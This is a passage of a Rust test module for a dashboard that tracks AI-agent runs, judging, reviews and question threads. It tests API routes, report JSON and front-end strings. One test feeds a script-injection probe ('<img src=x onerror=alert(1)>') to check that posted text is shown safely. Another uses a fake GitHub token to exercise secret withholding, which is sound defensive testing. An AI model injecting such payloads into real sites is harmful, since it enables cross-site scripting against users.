19513 async fn run_display_status_routes_share_the_open_question_store() {
19514 let f = Fixture::start().await;
19515 let id = "20260922-090200-abcd";
19516 write_run(&f.runs(), id, RunStatus::Judging);
19517 let mut state = read_run(&f.runs(), id).unwrap();
19518 state.parked = true;
19519 state.driver_exited = true;
19520 state.event("github-text", "waiting for the owner");
19521 state.save_under(f.home.path()).unwrap();
19522 let mut task = Task::new(
19523 "resumed task".to_owned(),
19524 "do it".to_owned(),
19525 PathBuf::from("/repo"),
19526 Source::Human,
19527 );
19528 task.runs = vec![id.to_owned(), id.to_owned()];
19529 f.queue().put(&mut task).unwrap();
19530 let store = f.questions();
19531 let mut q = Question::new(
19532 id.to_owned(),
19533 "github-text".to_owned(),
19534 "owner".to_owned(),
19535 "Approve the text?".to_owned(),
19536 String::new(),
19537 Vec::new(),
19538 );
19539 store.put(&mut q).unwrap();
19540 for expected in ["waiting", "parked"] {
19541 let list = f.get("/api/runs").await.json();
19542 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19543 assert_eq!(list[0]["display_status"], expected);
19544 assert_eq!(detail["display_status"], expected);
19545 assert_eq!(detail["waiting"], list[0]["waiting"]);
19546 assert_eq!(list[0]["badge_status"], expected);
19547 assert_eq!(detail["badge_status"], expected);
19548 assert!(list[0]["superseded_by"].is_null());
19549 assert!(detail["superseded_by"].is_null());
19550 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19551 let history = task_detail["history"].as_array().unwrap();
19552 assert_eq!(history.len(), 2);
19553 assert!(history[0]["badge"].is_null());
19554 assert_eq!(history[1]["badge"], expected);
19555 q.status = ask::QuestionStatus::Answered;
19556 store.put(&mut q).unwrap();
19557 }
19558 }
19559
19560 #[tokio::test]
19561 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19562 let f = Fixture::start().await;
19563 let id = "20260922-090200-abcd";
19564 write_run(&f.runs(), id, RunStatus::Judging);
19565 let mut state = read_run(&f.runs(), id).unwrap();
19566 state.parked = true;
19567 state.driver_exited = true;
19568 state.event("park", "stopped at a node boundary");
19569 state.save_under(f.home.path()).unwrap();
19570
19571 for expected in ["parked", "stale"] {
19572 let list = f.get("/api/runs").await.json();
19573 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19574 assert_eq!(list[0]["live"], "dead");
19575 assert_eq!(list[0]["display_status"], expected);
19576 assert_eq!(detail["display_status"], expected);
19577 state.parked = false;
19580 state.save_under(f.home.path()).unwrap();
19581 }
19582 }
19583
19584 #[tokio::test]
19585 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19586 let f = Fixture::start().await;
19587 for id in [
19588 "20260902-140501-aaaa",
19589 "20260902-140502-bbbb",
19590 "20260902-140503-cccc",
19591 ] {
19592 write_run(&f.runs(), id, RunStatus::Merged);
19593 }
19594
19595 let all = f.get("/api/runs").await.json();
19596 let capped = f.get("/api/runs?limit=2").await.json();
19597
19598 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19599 assert_eq!(all.as_array().map(Vec::len), Some(3));
19600 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19601 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19602 }
19603
19604 #[tokio::test]
19605 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19606 let f = Fixture::start().await;
19607 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19608
19609 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19610
19611 assert_eq!(res.status, 200);
19612 assert!(
19613 res.headers
19614 .contains("content-type: text/plain; charset=utf-8"),
19615 "a browser must render it, not download it: {}",
19616 res.headers
19617 );
19618 assert!(
19622 res.body.contains("20260902-140501-a1b2"),
19623 "the report is about the run that was asked for: {}",
19624 res.body
19625 );
19626 }
19627
19628 #[tokio::test]
19629 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19630 crate::run::pin_test_home();
19632 let f = Fixture::start().await;
19633 let id = "20260902-140501-a1b2";
19634 write_run(&f.runs(), id, RunStatus::Stalled);
19635 let path = f.runs().join(id).join("run.json");
19638 let mut v: serde_json::Value =
19639 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19640 v["tally"] = serde_json::json!({
19641 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19642 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19643 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19644 "met_quorum": false, "rankings": 1
19645 });
19646 v["reviews"] = serde_json::json!([{
19647 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19648 "e2e_deferred": true,
19649 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19650 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19651 ]}]
19652 }]);
19653 std::fs::write(&path, v.to_string()).unwrap();
19654 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19655 std::fs::write(
19656 f.runs().join("20260902-140502-dead").join("run.json"),
19657 "{not json",
19658 )
19659 .unwrap();
19660
19661 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19662
19663 assert_eq!(res.status, 200, "{}", res.body);
19664 assert!(res.headers.contains("content-type: application/json"));
19665 let j = res.json();
19666 assert_eq!(j["schema"], 1);
19667 assert_eq!(j["header"]["id"], id);
19668 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19669 let kinds: Vec<&str> = j["sections"]
19670 .as_array()
19671 .unwrap()
19672 .iter()
19673 .map(|s| s["kind"].as_str().unwrap())
19674 .collect();
19675 assert_eq!(kinds, ["candidates", "tally", "review"]);
19676 let tally = &j["sections"][1]["tally"];
19677 assert_eq!(
19678 (tally["decided"].clone(), tally["provisional"].clone()),
19679 (false.into(), true.into())
19680 );
19681 let round = &j["sections"][2]["rounds"][0];
19682 assert_eq!(round["e2e"]["state"], "deferred");
19683 assert_eq!(round["findings"][0]["severity"], "major");
19684 assert_eq!(round["findings"][0]["blocking"], true);
19685 assert_eq!(round["findings"][0]["state"], "open");
19686
19687 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19689
19690 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19692 assert_ne!(bad.status, 200, "{}", bad.body);
19693 assert_eq!(
19694 bad.status,
19695 f.get("/api/runs/20260902-140502-dead/report").await.status
19696 );
19697 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19698 assert_eq!(
19699 f.get("/api/runs/20260902-999999-ffff/report.json")
19700 .await
19701 .status,
19702 404
19703 );
19704 }
19705
19706 #[tokio::test]
19707 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19708 crate::run::pin_test_home();
19709 let f = Fixture::start().await;
19710 let id = "20260902-140503-delib";
19711 write_run(&f.runs(), id, RunStatus::Merged);
19712 let path = f.runs().join(id).join("run.json");
19713 let mut v: serde_json::Value =
19714 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19715 v["judgements"] = serde_json::json!([
19716 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19717 ]);
19718 v["tally"] = serde_json::json!({
19719 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19720 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19721 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19722 "met_quorum": true, "rankings": 1
19723 });
19724 v["deliberation"] = serde_json::json!([
19725 {
19726 "round": 1,
19727 "turns": [
19728 {
19729 "judge": 1,
19730 "agent": "judge-1",
19731 "body": "I prefer candidate **A** because it has cleaner tests.",
19732 "tentative": "A"
19733 }
19734 ]
19735 },
19736 {
19737 "round": 2,
19738 "turns": [
19739 {
19740 "judge": 1,
19741 "agent": "judge-1",
19742 "body": "Still thinking, no choice yet.",
19743 "tentative": null
19744 }
19745 ]
19746 }
19747 ]);
19748 std::fs::write(&path, v.to_string()).unwrap();
19749
19750 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19751 assert_eq!(res.status, 200, "{}", res.body);
19752 let j = res.json();
19753 let judging = j["sections"]
19754 .as_array()
19755 .unwrap()
19756 .iter()
19757 .find(|s| s["kind"] == "judging")
19758 .expect("judging section exists");
19759
19760 let delib_lines = judging["deliberation"].as_array().unwrap();
19762 assert_eq!(delib_lines.len(), 2);
19763 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19764 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19765
19766 let rounds = judging["rounds"].as_array().unwrap();
19768 assert_eq!(rounds.len(), 2);
19769 let r1_t0 = &rounds[0]["turns"][0];
19770 assert_eq!(r1_t0["judge"], 1);
19771 assert_eq!(r1_t0["agent"], "judge-1");
19772 assert_eq!(r1_t0["tentative"], "A");
19773 assert_eq!(
19774 r1_t0["body"],
19775 "I prefer candidate **A** because it has cleaner tests."
19776 );
19777 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19778
19779 let r2_t0 = &rounds[1]["turns"][0];
19780 assert_eq!(r2_t0["judge"], 1);
19781 assert_eq!(r2_t0["agent"], "judge-1");
19782 assert!(r2_t0["tentative"].is_null());
19783 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19784 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19785
19786 let id_empty = "20260902-140504-nodelib";
19788 write_run(&f.runs(), id_empty, RunStatus::Merged);
19789 let path_empty = f.runs().join(id_empty).join("run.json");
19790 let mut v_empty: serde_json::Value =
19791 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19792 v_empty["judgements"] = serde_json::json!([
19793 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19794 ]);
19795 v_empty["deliberation"] = serde_json::json!([]);
19796 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19797
19798 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19799 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19800 let j_empty = res_empty.json();
19801 let judging_empty = j_empty["sections"]
19802 .as_array()
19803 .unwrap()
19804 .iter()
19805 .find(|s| s["kind"] == "judging")
19806 .expect("judging section exists");
19807 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19808 }
19809
19810 #[tokio::test]
19811 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19812 let f = Fixture::start().await;
19813
19814 let html = f.get("/").await;
19815 let css = f.get("/app.css").await;
19816 let js = f.get("/app.js").await;
19817
19818 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19819 assert!(
19820 html.headers
19821 .contains("content-type: text/html; charset=utf-8")
19822 );
19823 assert!(css.headers.contains("content-type: text/css"));
19824 assert!(js.headers.contains("content-type: text/javascript"));
19825 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19826 }
19827
19828 #[test]
19829 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19830 let body = |name: &str| {
19831 let at = APP_JS
19832 .find(name)
19833 .unwrap_or_else(|| panic!("{name} missing"));
19834 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19835 };
19836 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19837 let note = body("function landRoundNote");
19838 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19839 assert!(note.contains("Land round ${round}"));
19840 let land = body("function renderLand");
19841 let note_at = land
19842 .find("landRoundNote(pr)")
19843 .expect("renderLand uses the note");
19844 assert!(
19845 note_at
19846 < land
19847 .find("roundRail(pr)")
19848 .expect("renderLand uses the rail")
19849 );
19850 }
19851
19852 #[test]
19853 fn the_runs_page_redesign_keeps_its_guards() {
19854 let body = |name: &str| {
19855 let at = APP_JS
19856 .find(name)
19857 .unwrap_or_else(|| panic!("{name} missing"));
19858 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19859 };
19860 let land = body("function renderLand");
19862 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19863 assert!(
19864 !land.contains("box.append("),
19865 "renderLand must use append()"
19866 );
19867 assert!(land.contains("append(box, ["));
19868 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19870 assert!(
19871 body("function applyRoute")
19872 .contains("route.name !== state.route.name || route.id !== state.route.id")
19873 );
19874 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19876 assert!(!INDEX_HTML.contains("advise-converge"));
19877 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19878 assert!(APP_JS.contains("provisional"));
19879 for id in [
19880 "run-tab-overview",
19881 "run-tab-timeline",
19882 "run-tab-report",
19883 "run-report",
19884 "runs-scope",
19885 ] {
19886 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19887 }
19888 assert!(!INDEX_HTML.contains("runs-tree"));
19889 assert!(!INDEX_HTML.contains("run-raw-panel"));
19890 assert!(APP_JS.contains("resume"));
19892 assert!(APP_JS.contains("unreadable"));
19894 }
19895
19896 #[test]
19897 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19898 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19899 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19900 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19901 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19902 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19903 assert!(APP_JS.contains("unreadable` : null"));
19905 }
19906
19907 #[test]
19908 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19909 let mut state = RunState::new(
19910 "/repo".into(),
19911 "main".into(),
19912 "abc".into(),
19913 "task".into(),
19914 crate::config::Config::default(),
19915 );
19916 state.status = RunStatus::Blocked;
19917 state.gate_ran = true;
19918 state.gate.push(crate::run::CommandOutcome {
19919 command: "cargo make check".into(),
19920 code: Some(1),
19921 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19922 duration_ms: 0,
19923 resource_blocked: false,
19924 });
19925 let view = RunDetailView::of(
19926 state,
19927 false,
19928 crate::run::Liveness::Unknown,
19929 None,
19930 None,
19931 None,
19932 );
19933 let value = serde_json::to_value(view).unwrap();
19934 assert_eq!(
19935 value["stop_reason"],
19936 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19937 );
19938 }
19939
19940 #[test]
19941 fn the_run_detail_payload_says_whether_the_run_is_done() {
19942 for (status, done) in [
19944 (RunStatus::Superseded, true),
19945 (RunStatus::Blocked, true),
19946 (RunStatus::Landing, false),
19947 ] {
19948 let mut state = RunState::new(
19949 std::path::PathBuf::from("/repo"),
19950 "main".to_owned(),
19951 "abc".to_owned(),
19952 "x".to_owned(),
19953 crate::config::Config::default(),
19954 );
19955 state.status = status;
19956 let v = serde_json::to_value(RunDetailView::of(
19957 state,
19958 false,
19959 crate::run::Liveness::Unknown,
19960 None,
19961 None,
19962 None,
19963 ))
19964 .unwrap();
19965 assert_eq!(v["done"], done, "{status:?}");
19966 }
19967 }
19968
19969 fn has_strong(nodes: &[md::Node]) -> bool {
19971 serde_json::to_string(nodes).unwrap().contains("strong")
19972 }
19973
19974 #[test]
19975 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19976 let mut state = RunState::new(
19977 std::path::PathBuf::from("/repo"),
19978 "main".to_owned(),
19979 "abc".to_owned(),
19980 "x".to_owned(),
19981 crate::config::Config::default(),
19982 );
19983 let proposal = |approach: &str| {
19984 serde_json::json!({
19985 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19986 })
19987 };
19988 state.advice = Some(
19989 serde_json::from_value(serde_json::json!({
19990 "records": [
19991 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19992 "proposal": proposal("do **this**")},
19993 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19994 ],
19995 "synthesis": "- one\n- **two**\n\n`code`",
19996 }))
19997 .unwrap(),
19998 );
19999 state.candidates = serde_json::from_value(serde_json::json!([
20000 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20001 "summary": "did **it**"},
20002 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20003 ]))
20004 .unwrap();
20005 state.reviews = serde_json::from_value(serde_json::json!([{
20008 "round": 1, "head": "h",
20009 "reviews": [{
20010 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20011 "findings": [
20012 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20013 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20014 ],
20015 }],
20016 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20017 "fix": {"agent": "a", "notes": "fixed **it**",
20018 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20019 }, {"round": 2, "head": "h2", "reviews": []}]))
20020 .unwrap();
20021
20022 let v = serde_json::to_value(RunDetailView::of(
20023 state,
20024 false,
20025 crate::run::Liveness::Unknown,
20026 None,
20027 None,
20028 None,
20029 ))
20030 .unwrap();
20031
20032 let strong = |p: &str| {
20033 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20034 assert!(n.to_string().contains("strong"), "{p}: {n}");
20035 };
20036 strong("/advice_md/synthesis");
20037 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20038 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20039 strong("/advice_md/approaches/0");
20040 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20041 strong("/candidate_summaries_md/0");
20042 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20043 strong("/reviews_md/0/reviewers/0/summary");
20044 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20045 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20046 assert!(f[1].to_string().contains("strong"));
20047 strong("/reviews_md/0/reconsideration/0");
20048 strong("/reviews_md/0/fix/notes");
20049 strong("/reviews_md/0/fix/rejected/0");
20050 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20051 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20052 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20054 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20055 }
20056
20057 #[test]
20058 fn a_run_without_advice_has_no_advice_md() {
20059 let state = RunState::new(
20060 std::path::PathBuf::from("/repo"),
20061 "main".to_owned(),
20062 "abc".to_owned(),
20063 "x".to_owned(),
20064 crate::config::Config::default(),
20065 );
20066 let p = run_prose_md(&state);
20067 assert!(p.advice_md.is_none());
20068 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20069 }
20070
20071 #[test]
20072 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20073 let store = ask::Questions::at(PathBuf::from("unused"));
20074 let gt = crate::github_text::Withheld {
20075 title: false,
20076 body: true,
20077 categories: vec!["sensitive-data".into()],
20078 };
20079 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20080 let (detail, comparison) =
20081 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20082 let mut q = Question::new(
20083 "r".into(),
20084 "github-text".into(),
20085 "posting-gate".into(),
20086 "s".into(),
20087 detail,
20088 Vec::new(),
20089 );
20090 assert!(
20091 QuestionView::of(q.clone(), &store, None)
20092 .posting_view
20093 .is_none()
20094 );
20095 q.posting_comparison = Some(comparison);
20096 let view = QuestionView::of(q.clone(), &store, None);
20097 let field = &view.posting_view.unwrap().fields[0];
20098 assert_eq!(
20099 field
20100 .original
20101 .iter()
20102 .map(|f| f.text.as_str())
20103 .collect::<String>(),
20104 body
20105 );
20106 assert!(field.original[0].text.starts_with("<img"));
20107 let original_question: Question =
20108 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20109 assert_eq!(original_question, q);
20110 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20111 .original
20112 .start = 1;
20113 assert!(
20114 QuestionView::of(q.clone(), &store, None)
20115 .posting_view
20116 .is_none()
20117 );
20118 q.posting_comparison = original_question.posting_comparison;
20119 q.detail.push_str("extra context");
20120 assert!(
20121 QuestionView::of(q.clone(), &store, None)
20122 .posting_view
20123 .is_some()
20124 );
20125 q.detail.insert(0, 'x');
20126 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20127 }
20128
20129 #[test]
20130 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20131 let store = ask::Questions::at(PathBuf::from("unused"));
20132 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20133 let gt = crate::github_text::Withheld::from_check(
20134 &crate::github_text::check("fix: x", body),
20135 "fix: x",
20136 body,
20137 )
20138 .unwrap();
20139 let (detail, comparison) =
20140 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20141 let mut q = Question::new(
20142 "r".into(),
20143 "github-text".into(),
20144 "posting-gate".into(),
20145 "s".into(),
20146 detail,
20147 Vec::new(),
20148 );
20149 q.posting_comparison = Some(comparison);
20150 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20151 let field = &value["posting_view"]["fields"][0];
20152 let group = &field["replacement_group"];
20153 let triggers = group["triggers"].as_array().unwrap();
20154 assert_eq!(triggers.len(), 2);
20155 assert_ne!(triggers[0], triggers[1]);
20156 for id in triggers {
20157 assert!(
20158 field["original"]
20159 .as_array()
20160 .unwrap()
20161 .iter()
20162 .any(|f| &f["pair"] == id)
20163 );
20164 assert!(
20165 !field["changed"]
20166 .as_array()
20167 .unwrap()
20168 .iter()
20169 .any(|f| &f["pair"] == id)
20170 );
20171 }
20172 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20173 group["id"].as_u64().unwrap() as usize;
20174 assert!(
20175 QuestionView::of(q, &store, None).posting_view.is_none(),
20176 "group and trigger IDs cannot collide"
20177 );
20178 }
20179
20180 #[test]
20181 fn a_question_view_carries_markdown_for_each_thread_turn() {
20182 let home = TempDir::new().unwrap();
20183 let store = ask::Questions::at(home.path().join("questions"));
20184 let mut q = Question::new(
20185 "run".to_owned(),
20186 "implement".to_owned(),
20187 "impl-A".to_owned(),
20188 "which?".to_owned(),
20189 String::new(),
20190 Vec::new(),
20191 );
20192 q.say("plain words").unwrap();
20193 q.reply("use **this**", Vec::new()).unwrap();
20194 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20195 let bodies = &v["thread_bodies_md"];
20196 assert_eq!(bodies.as_array().unwrap().len(), 2);
20197 assert!(!bodies[0].to_string().contains("strong"));
20198 assert!(bodies[1].to_string().contains("strong"));
20199 }
20200
20201 #[test]
20202 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20203 let home = TempDir::new().unwrap();
20204 let store = ask::Questions::at(home.path().join("questions"));
20205 let mut q = Question::new(
20206 "run".to_owned(),
20207 "conduct".to_owned(),
20208 "conduct".to_owned(),
20209 "which?".to_owned(),
20210 String::new(),
20211 Vec::new(),
20212 );
20213 q.say("plain words").unwrap();
20214 q.thread.push(ask::Turn {
20215 who: ask::Who::Agent,
20216 body: "Settled as `merge`".to_owned(),
20217 at: jiff::Timestamp::now(),
20218 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20219 });
20220 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20221 let notes = &v["thread_notes_md"];
20222 assert_eq!(notes.as_array().unwrap().len(), 2);
20223 assert!(notes[0].is_null());
20224 let text = notes[1].to_string();
20225 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20226 assert!(APP_JS.contains("ask-turn-note"));
20227 }
20228
20229 #[test]
20230 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20231 assert!(APP_JS.contains("function landView(run, raw) {"));
20235 assert!(
20236 APP_JS.contains(
20237 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20238 )
20239 );
20240 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20241 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20242 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20243 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20244 }
20245
20246 #[test]
20247 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20248 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20249 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20250 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20251 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20252 }
20253
20254 #[test]
20255 fn review_rounds_label_a_distinct_verified_head() {
20256 assert!(APP_JS.contains("round.verified_head"));
20257 assert!(APP_JS.contains("verified HEAD"));
20258 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20259 }
20260
20261 #[test]
20262 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20263 assert!(APP_JS.contains("blocked: { glyph:"));
20267 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20268
20269 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20273 assert!(
20274 APP_JS.contains(
20275 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20276 ),
20277 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20278 );
20279 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20283
20284 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20288 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20289 assert!(
20290 APP_JS.contains("location.hash = \"#/questions\";"),
20291 "a question node must jump to the Questions screen, not pretend to be a task"
20292 );
20293
20294 assert!(APP_JS.contains("Resolved questions"));
20297 assert!(APP_JS.contains("r.answersList.append("));
20298 assert!(APP_CSS.contains(".task-answers"));
20299 {
20300 let start = APP_JS
20301 .find("function updateTalkTaskRow")
20302 .expect("updateTalkTaskRow");
20303 let body = &APP_JS[start..];
20304 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20305 assert!(
20306 body.contains(
20307 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20308 ),
20309 "a chat-filed task row must link to the task page"
20310 );
20311 assert!(
20312 !body.contains("#/runs/") && !body.contains("#/queue/"),
20313 "the row must not branch to a run or the queue card"
20314 );
20315 assert!(APP_CSS.contains(".talk-task-link"));
20316 }
20317 }
20318
20319 #[test]
20320 fn a_task_notification_links_to_the_task_page() {
20321 let start = APP_JS
20323 .find("function noticeLink(")
20324 .expect("noticeLink exists");
20325 let body = &APP_JS[start..];
20326 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20327 assert!(
20328 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20329 "a task notice's link must target the task page"
20330 );
20331 assert!(
20332 !body.contains("#/queue/"),
20333 "regression: the task link must not go back to the Backlog route"
20334 );
20335 assert!(
20336 APP_JS.contains(
20337 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20338 ),
20339 "`#/tasks/<id>` must parse into the task route"
20340 );
20341
20342 assert!(
20344 APP_JS.contains(
20345 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20346 ),
20347 "`#/queue/<id>` must parse into a route carrying that id"
20348 );
20349
20350 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20354 assert!(APP_JS.contains("function consumeQueueFocus()"));
20355 assert!(APP_JS.contains("jumpToTask(id)"));
20356 }
20357
20358 #[test]
20359 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20360 let start = APP_JS
20361 .find("function noticeCoveredBy(")
20362 .expect("noticeCoveredBy exists");
20363 let body = &APP_JS[start..];
20364 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20365
20366 assert!(body.contains("Associated question ${short}"));
20368 assert!(!body.contains("el(\"a\""));
20369
20370 assert!(body.contains("(resolved)"));
20372 assert!(body.contains("(closed)"));
20373
20374 let start = APP_JS
20375 .find("function renderNotifications()")
20376 .expect("renderNotifications exists");
20377 let body = &APP_JS[start..];
20378 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20379
20380 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20382 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20383 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20384 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20385 }
20386
20387 #[test]
20390 fn chat_rows_put_the_title_alone_on_the_first_line() {
20391 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20392 assert!(APP_CSS.contains(
20393 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20394 ));
20395 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20396 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20397 }
20398
20399 #[test]
20400 fn run_rows_put_the_title_alone_on_the_first_line() {
20401 assert!(
20402 APP_CSS.contains(
20403 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20404 )
20405 );
20406 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20407 assert!(APP_JS.contains("class: \"card run-card\""));
20408 assert!(APP_JS.contains("class: \"repo run-id\""));
20409 }
20410
20411 #[test]
